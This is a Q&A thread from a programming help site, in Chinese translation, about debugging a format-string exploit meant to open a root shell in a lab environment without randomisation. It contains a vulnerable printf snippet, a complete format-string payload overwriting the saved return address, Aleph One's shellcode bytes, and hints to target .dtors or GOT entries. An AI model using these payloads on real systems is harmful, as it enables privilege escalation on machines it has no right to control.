【问题标题】:Format String exploit - opening root shell格式化字符串漏洞利用 - 打开 root shell
【发布时间】:2013-10-10 15:47:45
【问题描述】:

我在禁用堆栈随机化的环境中运行它,并使用与 AlephOne 的缓冲区溢出兼容的 gcc 版本 - 效果很好!

我正在尝试用包含我的 shellcode 的数组的地址覆盖指令指针寄存器 (eip)。不过,我总是以分段错误告终。以下是我试图利用的 sn-p:

//Prints version
static
void print_version(char* cmd) 
{
    char txt[640+1];
    snprintf(txt, 640, "Submission program version 0.1 (%s)\n", cmd);
    printf(txt);
}

我通过 execve() 调用这个函数。格式字符串就是这里的argv[0],成功传递给上面的函数。

我有这个格式字符串:

\x0c\xdc\xbf\xffjunk\x0d\xdc\xbf\xffjunk\x0e\xdc\xbf\xffjunk\x0f\xdc\xbf\xff%8x%8x%120x%n%5x%n%230x%n%64x%n

随后是 200 个 NOP、shellcode 和带有 NOP 的剩余数组。

shellcode 是 Aleph One 的代码:

static char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

回到格式字符串,我将 4 个地址 0xffbfdc0c 覆盖到 0xffbfdc0f。 0xffbfdc0c是我在上面提到的print_version()函数上设置断点找到的保存的eip地址。

我正在尝试用地址 0xffbfdcd4 替换它,它比 print_version 中 txt[] 数组的基地址高 150 个字节(计算函数中 txt[] 的初始字符和之后的格式字符串,希望它可能会落在 shellcode 之前的 NOP 中)。

我只是遇到了 SEG 故障。我不确定如何进一步进行,或者我应该如何调试以查看它是否实际上覆盖了预期地址的值。

编辑:我是否使用了正确的格式字符串?

谁能告诉我如何在我的程序产生段错误之后或在段错误之前但在地址更改之后使用 gdb 检查地址?

谢谢。

【问题讨论】:

    标签: c security string-formatting format-string


    【解决方案1】:

    一些事情.. 你声明你的格式字符串是 argv[0]。你确定你不是说 argv[1] 吗? argv[0] 通常保留给程序名称,argv[1] 是程序的第一个参数。

    您可以通过在右侧发生之前和之后立即设置断点来检查右侧之后的地址,然后使用 x/x 0xffbfdc0c 来查看您是否正在写入正确的位置。 GDB 手册(可在线获取)也可能对您有所帮助。

    格式化字符串写入的巧妙之处在于,您不局限于可以写入的位置,因此任何东西都是免费游戏(提示提示)。您可能还需要确保在编译程序时没有设置 -D_FORITY_SOURCE。

    【讨论】:

    • 是的,实际上是 argv[0] 被传递给上面的函数。我使用 execve("vulnerable", argv[], env) 将格式字符串作为 argv[0] 提供。有点非标准的方式,但设置 argv[0] 仍然执行执行程序。
    • seg 错误后我可以检查地址,不幸的是格式字符串无法工作(值与以前相同)。我被难住了。
    • 关于标志,我只是将 -ggdb 和 -Wall 参数传递给 gcc。
    • 您可以尝试将诸如 0xdeadbeef 之类的值写入另一个任意位置吗?也许是 .dtors 或 GOT 条目?
    猜你喜欢
    • 2020-10-26
    • 2011-12-01
    • 1970-01-01
    • 1970-01-01
    • 2012-05-31
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多